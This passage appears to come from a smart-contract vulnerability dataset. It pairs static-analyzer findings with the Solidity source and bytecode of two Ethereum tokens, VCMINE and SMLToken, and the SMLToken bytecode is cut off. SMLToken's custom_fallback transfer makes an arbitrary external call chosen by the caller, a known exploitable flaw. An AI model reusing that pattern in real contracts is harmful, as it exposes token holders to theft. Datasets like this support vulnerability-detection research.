
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 3,933 |
0x74b1603c7269cb33229be831907979a231ed181d
|
/**
*Submitted for verification at Etherscan.io on 2021-03-10
*/
/**
*Submitted for verification at Etherscan.io on 2021-02-27
*/
pragma solidity >=0.5.0 <0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint a, uint b) internal pure returns (uint) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint a, uint b) internal pure returns (uint) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b != 0, errorMessage);
return a % b;
}
}
interface iERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
function increaseAllowance(address spender, uint addedValue) external returns (bool);
function decreaseAllowance(address spender, uint subtractedValue) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract ownerable {
address public contract_owner;
constructor() public {
contract_owner = msg.sender;
}
modifier KOwnerOnly() {
require(msg.sender == contract_owner, 'NotOwner'); _;
}
function tranferOwnerShip(address newOwner) external KOwnerOnly {
contract_owner = newOwner;
}
}
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*/
contract pausable is ownerable {
bool public paused;
/**
* @dev Emitted when the pause is triggered by a pauser (`account`).
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by a pauser (`account`).
*/
event Unpaused(address account);
/**
* @dev Initialize the contract in unpaused state. Assigns the Pauser role
* to the deployer.
*/
constructor () internal {
paused = false;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier KWhenNotPaused() {
require(!paused, "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier KWhenPaused() {
require(paused, "Pausable: not paused");
_;
}
/**
* @dev Called by a pauser to pause, triggers stopped state.
*/
function Pause() public KOwnerOnly {
paused = true;
emit Paused(msg.sender);
}
/**
* @dev Called by a pauser to unpause, returns to normal state.
*/
function Unpause() public KOwnerOnly {
paused = false;
emit Unpaused(msg.sender);
}
}
contract VCMINEToken is iERC20, pausable {
using SafeMath for uint;
string public name = "VCMINE";
string public symbol = "VCFT";
uint8 public decimals = 6;
uint public totalSupply = 210000000e6;
mapping (address => uint) internal _balances;
mapping (address => mapping (address => uint)) internal _allowances;
constructor(
address receiver,
address defaultOwner
) public {
contract_owner = defaultOwner;
_balances[receiver] = totalSupply;
emit Transfer(address(0), receiver, totalSupply);
}
function balanceOf(address account) public view returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) external KWhenNotPaused returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) external view returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint value) external KWhenNotPaused returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address sender, address recipient, uint amount) external KWhenNotPaused returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) external KWhenNotPaused returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) external KWhenNotPaused returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80635c975abb1161009757806395d89b411161006657806395d89b41146102e6578063a457c2d7146102ee578063a9059cbb1461031a578063dd62ed3e1461034657610100565b80635c975abb146102a85780636985a022146102b057806370a08231146102b85780637805862f146102de57610100565b806323b872dd116100d357806323b872dd14610204578063313ce5671461023a578063384f58eb14610258578063395093511461027c57610100565b806306fdde0314610105578063095ea7b314610182578063163031f4146101c257806318160ddd146101ea575b600080fd5b61010d610374565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014757818101518382015260200161012f565b50505050905090810190601f1680156101745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ae6004803603604081101561019857600080fd5b506001600160a01b038135169060200135610401565b604080519115158252519081900360200190f35b6101e8600480360360208110156101d857600080fd5b50356001600160a01b0316610468565b005b6101f26104d4565b60408051918252519081900360200190f35b6101ae6004803603606081101561021a57600080fd5b506001600160a01b038135811691602081013590911690604001356104da565b61024261059a565b6040805160ff9092168252519081900360200190f35b6102606105a3565b604080516001600160a01b039092168252519081900360200190f35b6101ae6004803603604081101561029257600080fd5b506001600160a01b0381351690602001356105b2565b6101ae610640565b6101e8610650565b6101f2600480360360208110156102ce57600080fd5b50356001600160a01b03166106e2565b6101e86106fd565b61010d610789565b6101ae6004803603604081101561030457600080fd5b506001600160a01b0381351690602001356107e1565b6101ae6004803603604081101561033057600080fd5b506001600160a01b038135169060200135610887565b6101f26004803603604081101561035c57600080fd5b506001600160a01b03813581169160200135166108e5565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103f95780601f106103ce576101008083540402835291602001916103f9565b820191906000526020600020905b8154815290600101906020018083116103dc57829003601f168201915b505050505081565b60008054600160a01b900460ff1615610454576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b61045f338484610910565b50600192915050565b6000546001600160a01b031633146104b2576040805162461bcd60e51b81526020600482015260086024820152672737ba27bbb732b960c11b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b60045481565b60008054600160a01b900460ff161561052d576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b6105388484846109fc565b610590843361058b85604051806060016040528060288152602001610cbe602891396001600160a01b038a166000908152600660209081526040808320338452909152902054919063ffffffff610b5a16565b610910565b5060019392505050565b60035460ff1681565b6000546001600160a01b031681565b60008054600160a01b900460ff1615610605576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b3360008181526006602090815260408083206001600160a01b038816845290915290205461045f9190859061058b908663ffffffff610bf116565b600054600160a01b900460ff1681565b6000546001600160a01b0316331461069a576040805162461bcd60e51b81526020600482015260086024820152672737ba27bbb732b960c11b604482015290519081900360640190fd5b6000805460ff60a01b1916600160a01b1790556040805133815290517f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2589181900360200190a1565b6001600160a01b031660009081526005602052604090205490565b6000546001600160a01b03163314610747576040805162461bcd60e51b81526020600482015260086024820152672737ba27bbb732b960c11b604482015290519081900360640190fd5b6000805460ff60a01b191690556040805133815290517f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa9181900360200190a1565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156103f95780601f106103ce576101008083540402835291602001916103f9565b60008054600160a01b900460ff1615610834576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b61045f338461058b85604051806060016040528060258152602001610d2f602591393360009081526006602090815260408083206001600160a01b038d168452909152902054919063ffffffff610b5a16565b60008054600160a01b900460ff16156108da576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b61045f3384846109fc565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b6001600160a01b0383166109555760405162461bcd60e51b8152600401808060200182810382526024815260200180610d0b6024913960400191505060405180910390fd5b6001600160a01b03821661099a5760405162461bcd60e51b8152600401808060200182810382526022815260200180610c766022913960400191505060405180910390fd5b6001600160a01b03808416600081815260066020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610a415760405162461bcd60e51b8152600401808060200182810382526025815260200180610ce66025913960400191505060405180910390fd5b6001600160a01b038216610a865760405162461bcd60e51b8152600401808060200182810382526023815260200180610c536023913960400191505060405180910390fd5b610ac981604051806060016040528060268152602001610c98602691396001600160a01b038616600090815260056020526040902054919063ffffffff610b5a16565b6001600160a01b038085166000908152600560205260408082209390935590841681522054610afe908263ffffffff610bf116565b6001600160a01b0380841660008181526005602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008184841115610be95760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610bae578181015183820152602001610b96565b50505050905090810190601f168015610bdb5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015610c4b576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a72315820e8758863c74102d2d95ca4b35c32f5656e91529b590c4a5c8793d7715f6024d664736f6c63430005110032
|
{"success": true, "error": null, "results": {}}
| 3,934 |
0x13d82b5ab85ffa33bc952913d7e2de686f13e676
|
pragma solidity ^0.4.20;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* ERC223 contract interface with ERC20 functions and events
* Fully backward compatible with ERC20
* Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended
*/
contract ERC223 {
function balanceOf(address who) public view returns (uint);
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed burner, uint256 value);
}
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
/* tkn variable is analogue of msg variable of Ether transaction
* tkn.sender is person who initiated this token transaction (analogue of msg.sender)
* tkn.value the number of tokens that were sent (analogue of msg.value)
* tkn.data is data of token transaction (analogue of msg.data)
* tkn.sig is 4 bytes signature of function
* if data of token transaction is a function execution
*/
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract SMLToken is ERC223 {
using SafeMath for uint256;
using SafeMath for uint;
address public owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public blacklist;
mapping (address => uint) public increase;
mapping (address => uint256) public unlockUnixTime;
uint public maxIncrease=20;
address public target;
string internal name_= "数码链";
string internal symbol_ = "SML";
uint8 internal decimals_= 18;
uint256 internal totalSupply_= 1000000000e18;
uint256 public toGiveBase = 20e18;
uint256 public increaseBase = 2e18;
uint256 public OfficalHold = totalSupply_.mul(18).div(100);
uint256 public totalRemaining = totalSupply_;
uint256 public totalDistributed = 0;
bool public canTransfer = true;
uint256 public etherGetBase=10000;
bool public distributionFinished = false;
bool public finishFreeGetToken = false;
bool public finishEthGetToken = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier canTrans() {
require(canTransfer == true);
_;
}
modifier onlyWhitelist() {
require(blacklist[msg.sender] == false);
_;
}
function SMLToken (address _target) public {
owner = msg.sender;
target = _target;
distr(target, OfficalHold);
}
// Function to access name of token .
function name() public view returns (string _name) {
return name_;
}
// Function to access symbol of token .
function symbol() public view returns (string _symbol) {
return symbol_;
}
// Function to access decimals of token .
function decimals() public view returns (uint8 _decimals) {
return decimals_;
}
// Function to access total supply of tokens .
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply_;
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) canTrans public returns (bool success) {
if(isContract(_to)) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data) canTrans public returns (bool success) {
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address _to, uint _value) canTrans public returns (bool success) {
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
//assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length>0);
}
//function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
//function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
function changeOwner(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function enableWhitelist(address[] addresses) onlyOwner public {
require(addresses.length <= 255);
for (uint8 i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = false;
}
}
function disableWhitelist(address[] addresses) onlyOwner public {
require(addresses.length <= 255);
for (uint8 i = 0; i < addresses.length; i++) {
blacklist[addresses[i]] = true;
}
}
function changeIncrease(address[] addresses, uint256[] _amount) onlyOwner public {
require(addresses.length <= 255);
for (uint8 i = 0; i < addresses.length; i++) {
require(_amount[i] <= maxIncrease);
increase[addresses[i]] = _amount[i];
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
return true;
}
function startDistribution() onlyOwner public returns (bool) {
distributionFinished = false;
return true;
}
function finishFreeGet() onlyOwner canDistr public returns (bool) {
finishFreeGetToken = true;
return true;
}
function finishEthGet() onlyOwner canDistr public returns (bool) {
finishEthGetToken = true;
return true;
}
function startFreeGet() onlyOwner canDistr public returns (bool) {
finishFreeGetToken = false;
return true;
}
function startEthGet() onlyOwner canDistr public returns (bool) {
finishEthGetToken = false;
return true;
}
function startTransfer() onlyOwner public returns (bool) {
canTransfer = true;
return true;
}
function stopTransfer() onlyOwner public returns (bool) {
canTransfer = false;
return true;
}
function changeBaseValue(uint256 _toGiveBase,uint256 _increaseBase,uint256 _etherGetBase,uint _maxIncrease) onlyOwner public returns (bool) {
toGiveBase = _toGiveBase;
increaseBase = _increaseBase;
etherGetBase=_etherGetBase;
maxIncrease=_maxIncrease;
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
require(totalRemaining >= 0);
require(_amount<=totalRemaining);
totalDistributed = totalDistributed.add(_amount);
totalRemaining = totalRemaining.sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(address(0), _to, _amount);
return true;
}
function distribution(address[] addresses, uint256 amount) onlyOwner canDistr public {
require(addresses.length <= 255);
require(amount <= totalRemaining);
for (uint8 i = 0; i < addresses.length; i++) {
require(amount <= totalRemaining);
distr(addresses[i], amount);
}
if (totalDistributed >= totalSupply_) {
distributionFinished = true;
}
}
function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner canDistr public {
require(addresses.length <= 255);
require(addresses.length == amounts.length);
for (uint8 i = 0; i < addresses.length; i++) {
require(amounts[i] <= totalRemaining);
distr(addresses[i], amounts[i]);
if (totalDistributed >= totalSupply_) {
distributionFinished = true;
}
}
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr onlyWhitelist public {
if (toGiveBase > totalRemaining) {
toGiveBase = totalRemaining;
}
address investor = msg.sender;
uint256 etherValue=msg.value;
uint256 value;
if(etherValue>1e15){
require(finishEthGetToken==false);
value=etherValue.mul(etherGetBase);
value=value.add(toGiveBase);
require(value <= totalRemaining);
distr(investor, value);
if(!owner.send(etherValue))revert();
}else{
require(finishFreeGetToken==false
&& toGiveBase <= totalRemaining
&& increase[investor]<=maxIncrease
&& now>=unlockUnixTime[investor]);
value=value.add(increase[investor].mul(increaseBase));
value=value.add(toGiveBase);
increase[investor]+=1;
distr(investor, value);
unlockUnixTime[investor]=now+1 days;
}
if (totalDistributed >= totalSupply_) {
distributionFinished = true;
}
}
function transferFrom(address _from, address _to, uint256 _value) canTrans public returns (bool success) {
require(_to != address(0)
&& _value > 0
&& balances[_from] >= _value
&& allowed[_from][msg.sender] >= _value
&& blacklist[_from] == false
&& blacklist[_to] == false);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint256){
ForeignToken t = ForeignToken(tokenAddress);
uint256 bal = t.balanceOf(who);
return bal;
}
function withdraw(address receiveAddress) onlyOwner public {
uint256 etherBalance = this.balance;
if(!receiveAddress.send(etherBalance))revert();
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
totalDistributed = totalDistributed.sub(_value);
Burn(burner, _value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
}
|
0x6060604052600436106102215763ffffffff60e060020a60003504166306fdde03811461022b578063095ea7b3146102b557806314ffbafc146102eb57806318160ddd146102fe5780631d3795e814610323578063227a79111461033657806323b872dd146103495780632e23062d14610371578063313ce5671461038457806342966c68146103ad578063502dadb0146103c357806351cff8d9146104125780635dfc34591461043157806370a0823114610444578063781c0db414610463578063829c34281461047657806382c6b2b6146104895780638da5cb5b1461049c57806395d89b41146104cb57806397b68b60146104de5780639b1cbccc146104f15780639c09c83514610504578063a6f9dae114610553578063a8c310d514610572578063a9059cbb14610601578063aa6ca80814610221578063b45be89b14610623578063bc2d10f114610636578063bcf6b3cd14610649578063be45fd6214610668578063c108d542146106cd578063c489744b146106e0578063cbbe974b14610705578063d1b6a51f14610724578063d4b8399214610737578063d83623dd1461074a578063d8a543601461075d578063dd62ed3e14610770578063df68c1a214610795578063e58fc54c146107a8578063e6b71e45146107c7578063e7f9e40814610856578063eab136a014610869578063efca2eed14610888578063f3e4877c1461089b578063f6368f8a146108ec578063f9f92be414610993575b6102296109b2565b005b341561023657600080fd5b61023e610bdd565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561027a578082015183820152602001610262565b50505050905090810190601f1680156102a75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156102c057600080fd5b6102d7600160a060020a0360043516602435610c85565b604051901515815260200160405180910390f35b34156102f657600080fd5b6102d7610cf1565b341561030957600080fd5b610311610d2f565b60405190815260200160405180910390f35b341561032e57600080fd5b6102d7610d35565b341561034157600080fd5b610311610d72565b341561035457600080fd5b6102d7600160a060020a0360043581169060243516604435610d78565b341561037c57600080fd5b610311610f56565b341561038f57600080fd5b610397610f5c565b60405160ff909116815260200160405180910390f35b34156103b857600080fd5b610229600435610f65565b34156103ce57600080fd5b610229600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284375094965061105195505050505050565b341561041d57600080fd5b610229600160a060020a03600435166110df565b341561043c57600080fd5b610311611132565b341561044f57600080fd5b610311600160a060020a0360043516611138565b341561046e57600080fd5b6102d7611153565b341561048157600080fd5b6102d7611194565b341561049457600080fd5b6103116111c4565b34156104a757600080fd5b6104af6111ca565b604051600160a060020a03909116815260200160405180910390f35b34156104d657600080fd5b61023e6111d9565b34156104e957600080fd5b6102d761124c565b34156104fc57600080fd5b6102d761125a565b341561050f57600080fd5b610229600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284375094965061129a95505050505050565b341561055e57600080fd5b610229600160a060020a0360043516611324565b341561057d57600080fd5b61022960046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061137a95505050505050565b341561060c57600080fd5b6102d7600160a060020a0360043516602435611456565b341561062e57600080fd5b6103116114a6565b341561064157600080fd5b6102d76114ac565b341561065457600080fd5b6102d76004356024356044356064356114ef565b341561067357600080fd5b6102d760048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061152b95505050505050565b34156106d857600080fd5b6102d761156d565b34156106eb57600080fd5b610311600160a060020a0360043581169060243516611576565b341561071057600080fd5b610311600160a060020a03600435166115f3565b341561072f57600080fd5b6102d7611605565b341561074257600080fd5b6104af611614565b341561075557600080fd5b6102d7611623565b341561076857600080fd5b61031161164f565b341561077b57600080fd5b610311600160a060020a0360043581169060243516611655565b34156107a057600080fd5b6102d7611680565b34156107b357600080fd5b6102d7600160a060020a0360043516611689565b34156107d257600080fd5b6102296004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437509496506117a695505050505050565b341561086157600080fd5b6102d7611860565b341561087457600080fd5b610311600160a060020a036004351661188c565b341561089357600080fd5b61031161189e565b34156108a657600080fd5b610229600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284375094965050933593506118a492505050565b34156108f757600080fd5b6102d760048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f01602080910402602001604051908101604052818152929190602084018383808284375094965061193895505050505050565b341561099e57600080fd5b6102d7600160a060020a0360043516611bf2565b6013546000908190819060ff16156109c957600080fd5b600160a060020a03331660009081526003602052604090205460ff16156109ef57600080fd5b600f54600c541115610a0257600f54600c555b33925034915066038d7ea4c68000821115610aad5760135462010000900460ff1615610a2d57600080fd5b601254610a4190839063ffffffff611c0716565b9050610a58600c5482611c2b90919063ffffffff16565b600f54909150811115610a6a57600080fd5b610a748382611c3a565b50600054600160a060020a031682156108fc0283604051600060405180830381858888f193505050501515610aa857600080fd5b610bbf565b601354610100900460ff16158015610ac95750600f54600c5411155b8015610aef5750600654600160a060020a03841660009081526004602052604090205411155b8015610b135750600160a060020a0383166000908152600560205260409020544210155b1515610b1e57600080fd5b600d54600160a060020a038416600090815260046020526040902054610b5b91610b4e919063ffffffff611c0716565b829063ffffffff611c2b16565b9050610b72600c5482611c2b90919063ffffffff16565b600160a060020a0384166000908152600460205260409020805460010190559050610b9d8382611c3a565b50600160a060020a038316600090815260056020526040902062015180420190555b600b5460105410610bd8576013805460ff191660011790555b505050565b610be56120ec565b60088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c7b5780601f10610c5057610100808354040283529160200191610c7b565b820191906000526020600020905b815481529060010190602001808311610c5e57829003601f168201915b5050505050905090565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b6000805433600160a060020a03908116911614610d0d57600080fd5b60135460ff1615610d1d57600080fd5b506013805462ff